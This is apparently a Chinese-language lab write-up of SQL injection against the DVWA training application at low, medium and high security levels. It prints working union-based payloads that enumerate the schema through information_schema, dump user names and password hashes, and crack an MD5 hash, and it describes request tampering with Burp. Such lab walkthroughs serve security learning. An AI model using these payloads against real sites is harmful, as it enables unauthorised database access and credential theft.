1.低级别SQL注入:
再接着输入6,发现啥也妹有了,说明有五个用户
输入1‘ 发现存在SQL注入漏洞:
判断注入类型:
提交后发现无输出值,表明and后面的语句不成立,即注入类型应为字符类型
判断字段长度:输入1‘ order by 1#
同理输入2,3,4等等
发现输到3时报错,可知道查询的结果有2列
查看数据库:输入 1‘ union select 1, database()#
发现有两个数据库,admin和dvwa
查看数据库及其对应版本:
查看数据库中对应的表:
1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
发现注入结果中出现了表名users
再去在user表下查数据库中的列:1‘ union select 1, group_concat(column_name) from information_schema.columns where table_name=’users’#
通过注入找到了password和user列,在users里继续查找password和user
然后MD5解码:
5f4dcc3b5aa765d61d8327deb882cf99 呃只是其中一个
解码为password
事实上,这是admin用户,在配置PHP和dvwa时此密码和admin用户自己是知道的,不妨去试试其它用户,解密其对应的md5密码,尝试换用户登录dvwa,其实也是可行的。
2.中级级别SQL注入
诸如此类,可试出有五个id
中级输入无法输入sql语句,所以用burp抓包工具抓包并改包尝试注入:
抓包并导入repeater:
在id一栏改动,写入SQL语句:
重复上述步骤:
将user进行转码,然后注入:
成功找到密码,解密即可
3.高级注入
高级出现两个界面,其余与低级一样
当然顶级impossible的话基本上是无懈可击了。